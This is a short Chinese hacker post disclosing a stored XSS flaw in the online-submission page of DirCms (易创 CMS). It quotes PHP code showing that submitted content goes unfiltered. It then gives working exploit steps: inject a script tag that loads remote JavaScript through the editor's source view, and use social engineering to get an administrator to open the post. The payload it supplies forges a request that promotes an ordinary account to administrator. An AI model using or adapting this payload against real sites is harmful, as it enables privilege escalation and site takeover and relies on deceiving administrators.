作者:心灵

    DirCms 内容管理系统 XSS 漏洞和利用方法,易创 CMS XSS 漏洞和利用方法。

    无聊得跑去数飞机,数完飞机回家看代码……

    XSS 漏洞文件:http://127.0.0.1/post/index.php?catid=49

    在线投稿功能,因为这样就不需要注册会员再发稿,免得很多站禁止注册会员。

    经典对白看代码。

以下是引用片段:

    $info['content']=add_alt($info['content'],$info['title']); //////////////////////自动加 ALT标签
    $info['title']=sub_string($info['title'],160,'');    //标题
    $info['keywords']=sub_string($info['keywords'],100,'');  //关键字
    $info['content']=stripslashes($info['content']);   //这里是内容  没有使用sub_string过滤
    $info['status']=in_array($_groupid,$passpriv) || $_groupid==1?1:0;

再看,sub_string:

function sub_string($string, $length, $dot='')
{
    $string=trim($string);
    $strlen = strlen($string);
    if($strlen <= $length) return $string;
    $string = str_replace(array(' ', '&amp;', '&quot;', '&#039;', '&ldquo;', '&rdquo;', '&mdash;', '&lt;', '&gt;', '&middot;', '&hellip;'), array(' ', '&', '"', "'", '“', '”', '—', '<', '>', '·', '…'), $string);   //这里做了转义  -0-! 要是标题没转换更好。。。。。。

利用方法:

    在 FCKEDIT 里点源代码,然后写:<script src="http://127.0.0.1/1.js" </script>。

    这里简单,不明白的拿块豆腐自杀好了。

    然后等待管理员查看投稿的文章(这个你可以社工他),就会触发 XSS 攻击。

    远程 JS 里写,当然,内容限制长度是 500,也可以不用调用远程直接写进去可以了。

以下是引用片段:

var oReq = new ActiveXObject("MSXML2.XMLHTTP");
var str = "do_submit=1&newadmin[username]=t00ls&newadmin[allowmultilogin]=1&newadmin[roleid]=1&newadmin[disabled]=0";
oReq.open("POST","http://127.0.0.1/admin.php?file=admin&action=add",false);
oReq.setRequestHeader("Content-Length",str.length);
oReq.setRequestHeader("CONTENT-TYPE","application/x-www-form-urlencoded");
oReq.send(str);

    newadmin[username]=t00ls,为会员注册账号,既可提升到管理员权限。

    继续跑去数飞机……